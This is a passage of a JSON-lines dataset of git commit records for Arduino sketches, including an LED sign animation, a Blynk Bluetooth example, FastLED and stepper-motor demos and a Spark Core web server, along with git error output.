git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"04c048c8571fd8de4dc15e8e8b6159c88541624a","subject":"add coca cola sign animation","message":"add coca cola sign animation\n","repos":"jzucker2\/HackAColaSign,jzucker2\/HackAColaSign","old_file":"CocaCola\/CocaCola.ino","new_file":"CocaCola\/CocaCola.ino","new_contents":"typedef enum {\n HackH = 48,\n HackA = 26,\n HackC = 24,\n HackK = 46,\n MiddleA = 36,\n ColaC = 38,\n ColaO = 28,\n ColaL = 40,\n ColaA = 30,\n RedZero = 44,\n RedOne = 34,\n RedTwo = 50,\n RedThree = 42,\n RedFour = 22,\n RedFive = 32\n } PatternToPin;\n\nstatic int Lights[16] = {\n HackH,\n HackA,\n HackC,\n HackK,\n MiddleA,\n ColaC,\n ColaO,\n ColaL,\n ColaA,\n RedZero,\n RedOne,\n RedTwo,\n RedThree,\n RedFour,\n RedFive\n};\n\n#define PATTERN_OFF HIGH\n#define PATTERN_ON LOW\n#define PATTERN_INITIALIZE OUTPUT\n\ntypedef enum {\n none = 0,\n minimal = 375,\n normal = 800,\n ish = 2000,\n extended = 4000\n} interval;\n\nvoid setup() {\n for (int i = 0; i < 16; i++) {\n pinMode(Lights[i], PATTERN_INITIALIZE);\n }\n}\n\nvoid loop() { \n for (int i = 0; i < 16; i++) {\n digitalWrite(Lights[i], PATTERN_OFF);\n }\n\n \/\/ turn letters on, one at a time\n int letters[] = {\n HackH,\n HackA,\n HackC,\n HackK,\n MiddleA,\n ColaC,\n ColaO,\n ColaL,\n ColaA,\n };\n \n for (int i = 0; i < 10; i++) {\n digitalWrite(letters[i], PATTERN_ON);\n delay(normal);\n }\n\n int background[] = {\n RedZero,\n RedOne,\n RedTwo,\n RedThree,\n RedFour,\n RedFive\n };\n \n for (int i = 0; i < 6; i++) {\n digitalWrite(background[i], PATTERN_ON);\n delay(minimal);\n }\n\n delay(extended);\n\n for (int i = 6 - 1; i >= 0; i--) {\n digitalWrite(background[i], PATTERN_OFF);\n delay(minimal);\n }\n\n delay(normal);\n\n for (int i = 0; i < 10; i++) {\n digitalWrite(letters[i], PATTERN_OFF);\n }\n\n delay(ish);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CocaCola\/CocaCola.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b34f772518509faa3ad4c518815ec765fcd50289","subject":"Add Bluetooth 2.0 Serial Port Profile (SPP) example","message":"Add Bluetooth 2.0 Serial Port Profile (SPP) example\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/Boards_BLE\/Serial_HC05_HC06\/Serial_HC05_HC06.ino","new_file":"examples\/Boards_BLE\/Serial_HC05_HC06\/Serial_HC05_HC06.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use Arduino with HC-06\/HC-05\n * Bluetooth 2.0 Serial Port Profile (SPP) module\n * to connect your project to Blynk.\n *\n * Feel free to apply it to any other example. It's simple!\n *\n * NOTE: Bluetooth support is in beta!\n *\n **************************************************************\/\n\n\/\/ You could use a spare Hardware Serial on boards that have it (like Mega)\n#include <SoftwareSerial.h>\nSoftwareSerial DebugSerial(2, 3); \/\/ RX, TX\n\n#define BLYNK_PRINT DebugSerial\n#include <BlynkSimpleStream.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug console\n DebugSerial.begin(9600);\n\n \/\/ Blynk will work through Serial\n Serial.begin(9600);\n Blynk.begin(auth, Serial);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_BLE\/Serial_HC05_HC06\/Serial_HC05_HC06.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f1a566817459165ba4c55b8dec739751b0b72cd2","subject":"attiny_dual_uart.ino: Added arduino code for Serial operation","message":"attiny_dual_uart.ino: Added arduino code for Serial operation\n","repos":"minosg\/piblinker,minosg\/piblinker","old_file":"attiny85\/attiny85_dual_uart.ino","new_file":"attiny85\/attiny85_dual_uart.ino","new_contents":"\/\/ Attiny85 Slave code that broadcasts\n\/\/ analgoue digitals over Uart when requested\n\n\/\/ Define Pins for Software Serial\n\n#include <SoftwareSerial.h>\n\n#define rxPin 0\n#define txPin 2\n\nconst uint8_t analogInPin = A3;\nconst uint8_t digitalInPin = A2;\nuint8_t ser_byte = 0;\nuint16_t readings[2];\n\nSoftwareSerial tinySerial(rxPin, txPin);\n\nvoid setup()\n{\n pinMode(digitalInPin, INPUT);\n tinySerial.begin(9600);\n}\n \nvoid loop()\n{\n \/\/ Update the readings in memory\n readings[0] = digitalRead(digitalInPin);\n readings[1] = analogRead(analogInPin);\n\n \/\/ If there is a serial byte available\n if (tinySerial.available() > 0) {\n\n \/\/ Read incoming byte:\n ser_byte = tinySerial.read();\n\n \/\/Safety delay\n delay(2);\n\n \/\/ Only two attiny pins are exposed, only look for ascii 0,1\n if (ser_byte >= 49 && ser_byte <= 50)\n {\n \/\/ Convert from ASCII to int\n ser_byte -= 49;\n \/\/ Return the requested position in the buffer\n tinySerial.println(readings[ser_byte]);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'attiny85\/attiny85_dual_uart.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0346def94f69ce1dbed3f739b517713af701632b","subject":"Added the firmware for Rev B","message":"Added the firmware for Rev B\n","repos":"nathanpc\/miniload","old_file":"Rev B\/electronic_load.ino","new_file":"Rev B\/electronic_load.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Rev' did not match any file(s) known to git\nerror: pathspec 'B\/electronic_load.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3094d7ca44ae146d010bc94249e23b36b61cf48","subject":"Create hue_and_brightness_example.ino","message":"Create hue_and_brightness_example.ino","repos":"marmilicious\/FastLED_examples","old_file":"hue_and_brightness_example.ino","new_file":"hue_and_brightness_example.ino","new_contents":"\/\/===============================================================\n\/\/ hue_and_brightness_example.ino\n\/\/\n\/\/ Example setup for using two potentiometers to control hue and\n\/\/ brightness with FastLED.\n\/\/\n\/\/ Every time the function checkKnobs() is called it will read\n\/\/ the current value of both potentiometers and map those values\n\/\/ to a hue and master brightness for FastLED.\n\/\/===============================================================\n\n#include \"FastLED.h\"\n#define LED_TYPE NEOPIXEL\n#define DATA_PIN 6\n#define NUM_LEDS 12\n#define MASTER_BRIGHTNESS 255 \/\/ Set the master brigtness value [should be greater then min_brightness value].\nuint8_t min_brightness = 30; \/\/ Set a minimum brightness level.\nuint8_t brightness; \/\/ Mapped master brightness based on potentiometer reading.\nCRGB leds[NUM_LEDS];\n\nint potPinA = A0; \/\/ Pin for potentiometer A (for hue)\nint potPinB = A1; \/\/ Pin for potentiometer B (for brightness)\nint potValA; \/\/ Variable to store potentiometer A value (for hue)\nint potValB; \/\/ Variable to store potentiometer B value (for brightness)\nuint8_t hue; \/\/ Hue color (0-255)\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n delay(2000); \/\/ Power-up delay\n \/\/Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(MASTER_BRIGHTNESS); \/\/ Initially set the max brightness. Will continuously update it later.\n pinMode(potPinA, INPUT); \/\/ Set pin as an input.\n pinMode(potPinB, INPUT); \/\/ Set pin as an input.\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n checkKnobs(); \/\/ Call function to check knob positions.\n\n for (int i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(hue, 255, 255); \/\/ hue comes from pot A, and brightness value is scaled based on pot B.\n }\n FastLED.show();\n}\n\n\n\/\/===============================================================\nvoid checkKnobs(){\n potValA = analogRead(potPinA); \/\/ Read potentiometer A (for hue).\n \/\/potValA = map(potValA, 1023, 0, 0, 1023); \/\/ Reverse reading if potentiometer is wired backwards. \n hue = map(potValA, 0, 1023, 0, 255); \/\/ map(value, fromLow, fromHigh, toLow, toHigh)\n\n potValB = analogRead(potPinB); \/\/ Read potentiometer B (for brightness).\n brightness = map(potValB, 0, 1023, min_brightness, MASTER_BRIGHTNESS);\n \/\/ Map value between min_brightness and MASTER brightness values.\n \/\/ Note: We are limiting the lowest possible brightness value to the\n \/\/ min_brightness value assigned up top.\n FastLED.setBrightness(brightness); \/\/ Set master brightness based on potentiometer position.\n\n \/\/Serial.print(\" pot A: \"); Serial.print(potValA); Serial.print(\" hue: \"); Serial.print(hue);\n \/\/Serial.print(\" pot B: \"); Serial.print(potValB); Serial.print(\" brightness: \"); Serial.println(brightness);\n}\n\n\n\/\/---------------------------------------------------------------\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hue_and_brightness_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e80d90c4324fa90868c8270de38839bca988e9a8","subject":"Create spark-Web-Tinker.ino","message":"Create spark-Web-Tinker.ino","repos":"0ddie\/sparkcore-local-http-server-rest-json,captainigloo\/sparkcore-local-http-server-rest-json,captainigloo\/sparkcore-local-http-server-rest-json,0ddie\/sparkcore-local-http-server-rest-json","old_file":"spark-Web-Tinker.ino","new_file":"spark-Web-Tinker.ino","new_contents":"\/\/Version 0.1\n\/\/ Codeur : S\u00e9bastien Joly\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"SparkTime.h\"\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"HttpResponse.h\"\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"http_parser.h\"\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"HttpRequest.h\"\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"slre.h\"\n\n#include <map>\n#include <list>\n\nchar myIpString[24];\nchar maMacString[32];\n\/\/char MaintenantString;\n\/\/NTP -----------------------\n\/\/UDP UDPClient;\n\/\/SparkTime rtc;\n\/\/unsigned long currentTime;\n\/\/unsigned long lastTime = 0UL;\n\/\/String timeStr;\n\/\/---------------------------\n\nclass Welcome : public HttpResponse {\nprotected:\n Stream& printBody(Stream& aStream) const {\n aStream.print(\n\"<!DOCTYPE html PUBLIC '-\/\/W3C\/\/DTD HTML 4.01\/\/EN' \\\n\t'http:\/\/www.w3.org\/TR\/html4\/strict.dtd'> \\\n <html> \\\n <head> \\\n <meta http-equiv='Content-Type' content='text\/html; charset=utf-8' \/> \\\n <meta http-equiv='refresh' content='5'> \\\n <title> \\\n Sparkcore \\\n <\/title> \\\n <\/head> \\\n <body> \\\n <h1>Serveur SparkCore<\/h1> \\\n <p>D0 : <a href='\/D0\/on'>On<\/a> - <a href='\/D0\/off'>Off<\/a><\/p> \\\n <p>D1 : <a href='\/D1\/on'>On<\/a> - <a href='\/D1\/off'>Off<\/a><\/p> \\\n <p>D2 : <a href='\/D2\/on'>On<\/a> - <a href='\/D2\/off'>Off<\/a><\/p> \\\n <p>D3 : <a href='\/D3\/on'>On<\/a> - <a href='\/D3\/off'>Off<\/a><\/p> \\\n <p>D4 : <a href='\/D4\/on'>On<\/a> - <a href='\/D4\/off'>Off<\/a><\/p> \\\n <p>D5 : <a href='\/D5\/on'>On<\/a> - <a href='\/D5\/off'>Off<\/a><\/p> \\\n <p>D6 : <a href='\/D6\/on'>On<\/a> - <a href='\/D6\/off'>Off<\/a><\/p> \\\n <p>D7 : <a href='\/D7\/on'>On<\/a> - <a href='\/D7\/off'>Off<\/a><\/p> \\\n <\/body>\\n \\\n<\/html>\\n\");\n return aStream;\n }\n \npublic:\n};\n\nconst Welcome welcome;\n\nvoid flashGreen(const unsigned aDelay = 500) {\n RGB.control(true);\n \n RGB.color(0, 255, 0);\n delay(aDelay);\n RGB.color(0,0,0);\n\n RGB.control(false);\n}\n\nvoid flashRed(const unsigned aDelay = 500) {\n RGB.control(true);\n \n RGB.color(255, 0, 0);\n delay(aDelay);\n RGB.color(0,0,0);\n\n RGB.control(false);\n}\n\n\/**\n * \"Class WebServer\" impl\u00e9ments TCPServer et fourni toutes les methodes pour le serveur http .\n * Pour d\u00e9marer \u00e0 besoin de begin().\n * Peut \u00eatre arr\u00eat\u00e9 avec end().\n *\/\nclass WebServer : public TCPServer {\nprivate:\n\nprotected:\n\npublic:\n\/**\n * Port d'\u00e9coute TCP\/80.\n *\/\n WebServer() : TCPServer(80) {} \n WebServer(const unsigned aPort) : TCPServer(aPort) {} \n\/**\n * Do\u00eet-\u00eatre utilis\u00e9 dans la fonction boucle loop() .\n *\/\n void loop() {\n \/\/currentTime = rtc.now(); \/\/-----------------------------------------\n if (TCPClient client = available()) {\n \n HttpRequest hr;\n while (int nb = client.available()) {\n Serial.println(nb);\n for (int i = nb; i > 0; --i) {\n const char buf = client.read();\n Serial.print(buf);\n hr.parse(buf); \n }\n Serial.println();\n }\n Serial.print(\"URL : \"); Serial.println(hr.URL());\n#ifdef USE_HEADERS\n hr.printHeaders();\n#endif\n struct slre_cap caps[4];\n\/\/Gestion des URL\n if (slre_match(\"^\/(|index.htm)$\", hr.URL(), strlen(hr.URL()), NULL, 0) >= 0) {\n client << welcome;\n Serial.println(\"Debug : Requete sur index.htm\");\n\/\/URL JSON---------------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/json$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n \/\/string json;\n \/\/json = \"{\\\"id\\\":\\\"\" + String(maMacString) + \"\\\",\\\"analog\\\":$D,\\\"name\\\":\\\"Temp $D\\\",\\\"val\\\":$T}\";\n \/\/const char lib[] = \"{\\\"id\\\":\\\"\" + maMacString + \"\\\",\\\"analog\\\":$D,\\\"name\\\":\\\"Temp $D\\\",\\\"val\\\":$T}\";\n \/\/const char lib[] = json;\n \/\/\"{\\\"id\\\":\\\"$H\\\",\\\"analog\\\":$D,\\\"name\\\":\\\"Temp $D\\\",\\\"val\\\":$T}\";\n \/\/HttpResponseStatic resp(lib, strlen(lib));\n \/\/HttpResponseStatic resp(lib, strlen(lib));\n \/\/client << resp.status(400);\n\/\/web\/URL REST D0 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D0\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D0, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D0, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D0, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/URL REST D1 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D1\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D1, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D1, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D1, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/URL REST D2 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D2\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D2, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D2, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D2, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/URL REST D3 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D3\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D3, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D3, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D3, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/URL REST D4 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D4\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D4, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D4, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D4, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/URL REST D5 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D5\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D5, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D5, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D5, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/URL REST D6 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D6\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D6, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D6, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D6, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/URL REST D7 -----------------------------------------------------------------------------------------------\n } else if ((slre_match(\"^\/D7\/(on|off)$\", hr.URL(), strlen(hr.URL()), caps, 1) >= 0)) { \n pinMode(D7, OUTPUT);\n if (!strcmp(caps[0].ptr, \"on\")) {\n digitalWrite(D7, HIGH);\n \/\/client << err204.status(204);\n client << welcome;\n flashGreen();\n } else if (!strcmp(caps[0].ptr, \"off\")) {\n digitalWrite(D7, LOW);\n \/\/client << err204.status(204);\n client << welcome;\n flashRed();\n } else {\n const char lib[] = \"<html>Le param\u00e8tre doit-\u00eatre 'on' ou 'off'.<\/html>\";\n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(400);\n }\n\/\/------------------\n } else {\n char lib[1024];\n lib[0] = '\\0';\n \n strcat(lib, \"<html><h1>Not Found<\/h1>\");\n strcat(lib, \"URL: \");\n strcat(lib, hr.URL());\n strcat(lib, \"<\/html>\");\n \n HttpResponseStatic resp(lib, strlen(lib));\n client << resp.status(404);\n }\n client.flush();\n delay(100);\n client.stop();\n } \n };\n};\n\nWebServer ws;\n\nvoid setup() {\n\/\/Debug console\n \/\/rtc.begin(&UDPClient, \"north-america.pool.ntp.org\");\n \/\/rtc.setTimeZone(+2); \/\/ gmt offset\n Serial.begin(9600);\n delay(1000);\n Serial.println(Network.localIP());\n Serial.println(Network.subnetMask());\n Serial.println(Network.gatewayIP());\n Serial.println(Network.SSID());\n\/\/R\u00e9cup\u00e9rer IP ----------------------------------------------------------------------------------------------\n IPAddress myIp = Network.localIP();\n sprintf(myIpString, \"%d.%d.%d.%d\", myIp[0], myIp[1], myIp[2], myIp[3]);\n Spark.variable(\"ipAddress\", myIpString, STRING);\n\/\/R\u00e9cup\u00e9rer MAC---------------------------------------------------------------------------------------------- \n byte Mac[6];\n Network.macAddress(Mac);\n sprintf(maMacString, \"%d:%d:%d:%d:%d:%d\", Mac[0], Mac[1], Mac[2], Mac[3], Mac[4], Mac[5]);\n Spark.variable(\"AdressePhysique\", maMacString, STRING);\n \/\/remarque : ne remonte pas dans le cloud en raison du bug limitant les variables sup\u00e9rieure \u00e0 9 caract\u00e8res.\n\/\/D\u00e9marrer serveur Web--------------------------------------------------------------------------------------- \n ws.begin();\n flashGreen();\n}\n\nvoid loop() {\n ws.loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-Web-Tinker.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"16f298fc7fffa005f9452c5edf5472f545332328","subject":"split 1-wire bus, part 2","message":"split 1-wire bus, part 2\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"arduino\/temperature\/temperature.ino","new_file":"arduino\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bf326ba34c91f6210c5f9afbe7a1ede541de04dc","subject":"renumber error messages","message":"renumber error messages\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"arduino\/temperature\/temperature.ino","new_file":"arduino\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"396589c4fb24a5186fe77c740b8309904dbd0b60","subject":"Update Templete.ino","message":"Update Templete.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Templete\/Templete.ino","new_file":"Arduino\/Templete\/Templete.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"dbf195d0b3ac9a2a3e4d785d844493d980f3fafe","subject":"Interfacing example added","message":"Interfacing example added\n","repos":"luni64\/TeensyStep,luni64\/TeensyStep","old_file":"examples\/Interfacing\/interfacing.ino","new_file":"examples\/Interfacing\/interfacing.ino","new_contents":"\/*----------------------------------------------------------\nThis example demonstrates how to use the serial interface and\ndigital IO while the controller moves a motor in\nthe background.\n\nThe following serial commands are implemented\n m: move motor\n s: start stop sequence\n e: emergency stop\n h: help\n\nAdditionally a pin can be used to stop the motor\n\n------------------------------------------------------------*\/\n\n#include \"Arduino.h\"\n#include \"StepControl.h\"\n\nvoid handleCommands();\nvoid handlePins();\n\n\/\/ stepper and controller\nconstexpr int stpPin = 0, dirPin = 1;\nStepper motor(stpPin, dirPin);\nStepControl<> controller;\n\n\/\/ pin to stop the motor, connect a push button to this pin\nconstexpr int stopPin = 2;\n\n\/\/ stopwatches \nelapsedMillis displayStopwatch = 0; \/\/ timing the display of the current position\nelapsedMillis blinkStopwatch = 0; \/\/ timing the heartbeat LED\nelapsedMillis debounceTimer = 0; \/\/ debouncing input pins\n\nint lastPos = 0;\n\n\n\nvoid setup()\n{\n while (!Serial);\n Serial.println(\"Simple Serial Stepper Example\");\n\n motor.setMaxSpeed(5000);\n motor.setAcceleration(50000);\n\n pinMode(LED_BUILTIN, OUTPUT);\n pinMode(stopPin, INPUT_PULLUP); \/\/ touch the pin with GND to stop the motor\n}\n\n\n\n\nvoid loop()\n{\n \/\/ handle incomming commands on the serial interface ------------------\n handleCommands();\n\n \/\/ handle input from pins ---------------------------------------------\n handlePins();\n\n \/\/ display the current motor position every 20ms ----------------------\n if (displayStopwatch > 20)\n {\n displayStopwatch = 0;\n\n int currentPos = motor.getPosition();\n if (currentPos != lastPos) \/\/ only display if it changed\n {\n lastPos = currentPos;\n Serial.println(currentPos);\n }\n }\n\n \/\/ the usual heartbeat ------------------------------------------------\n if (blinkStopwatch > 250)\n {\n blinkStopwatch = 0;\n digitalWriteFast(LED_BUILTIN, !digitalReadFast(LED_BUILTIN)); \/\/ toggle LED\n }\n}\n\n\n\n\n\/\/------------------------------------------------\n\/\/ Very simple command interface on USB-Serial:\n\/\/ m : starts the motor\n\/\/ s : starts stop sequence\n\/\/ e : emergency stop\n\nvoid handleCommands()\n{\n if (Serial.available() > 0) \/\/ skip if the serial buffer is empty\n {\n char cmd = Serial.read(); \/\/ get one char from the buffer...\n switch (cmd) \/\/ ... and analyze it\n {\n case 'm': \/\/ move command\n if (!controller.isRunning()) \/\/ skip move command if motor is running already\n {\n motor.setTargetRel(20000);\n controller.moveAsync(motor);\n Serial.println(\"Started motor movement\");\n }\n else\n {\n Serial.println(\"Ignored, motor is already running\");\n }\n break;\n\n case 's': \/\/ stop command\n controller.stopAsync(); \/\/ initiate stopping procedure\n Serial.println(\"Stopping motor\");\n break;\n\n case 'e': \/\/ emergency stop command\n controller.emergencyStop();\n Serial.println(\"Emergency Stop\");\n break;\n\n case 'h': \/\/ help \/ usage command\n case 'u':\n Serial.println(\"\\nUsage:\");\n Serial.println(\" m: move motor\");\n Serial.println(\" s: start stop sequence\");\n Serial.println(\" e: emergency stop\");\n Serial.println(\" h: display this help\"); \n break;\n\n default:\n break;\n }\n }\n}\n\n\n\/\/------------------------------------------------\n\/\/ Connect a pushbutton to the stop pin. \n\/\/ Stop command will be issued when pin is \n\/\/ pulled to GND.\n\/\/ Only very simple debouncing implemented. Use \"debounce2.h\" or \n\/\/ similar for a real application\n\nvoid handlePins()\n{ \n if (controller.isRunning() && !digitalReadFast(stopPin) && debounceTimer > 200)\n {\n debounceTimer = 0; \n controller.stopAsync(); \/\/ initiate stopping procedure\n Serial.println(\"Stopping motor\");\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Interfacing\/interfacing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"404c7bbe9c6c01a615f110953927167cb014445f","subject":"Started writing IR board code. Going to run it on an arduino pro mini for now.","message":"Started writing IR board code. Going to run it on an arduino pro mini for now.\n","repos":"daubers\/Robot","old_file":"Arduino\/IRI2CBoard\/IRI2CBoard.ino","new_file":"Arduino\/IRI2CBoard\/IRI2CBoard.ino","new_contents":"\/*\n * Driver for a little analog distance sensor to i2c\n *\/\n\n#include <Wire.h>\n\n\/\/ Command defintions\nbyte ENABLE_INTERRUPT=1;\nbyte SET_INTERRUPT_DISTANCE=2;\nbyte READ_INTERRUPT_DISTANCE=4;\nbyte READ_MAX_MIN=8;\n\nvoid setup(){\n Wire.begin(); \/\/ join i2c bus (address optional for master)\n Wire.onReceive(receiveEvent); \/\/ register event\n Serial.begin(9600); \/\/ start serial for output\n}\n\nvoid loop()\n{\n delay(100);\n}\n\n\/\/ function that executes whenever data is received from master\n\/\/ this function is registered as an event, see setup()\nvoid receiveEvent(int howMany)\n{\n while(1 < Wire.available()) \/\/ loop through all but the last\n {\n char c = Wire.read(); \/\/ receive byte as a character\n Serial.print(c); \/\/ print the character\n }\n int x = Wire.read(); \/\/ receive byte as an integer\n Serial.println(x); \/\/ print the integer\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/IRI2CBoard\/IRI2CBoard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3589340c7741be14a69595e2fbd0238a372aa365","subject":"Added seed sketch","message":"Added seed sketch\n","repos":"ricrodrigh\/seed,ricrodrigh\/seed","old_file":"Arduino\/seedSketch\/seedSketch.ino","new_file":"Arduino\/seedSketch\/seedSketch.ino","new_contents":"\/*********************************************************************\nThis is an example for our Monochrome OLEDs based on SSD1306 drivers\n 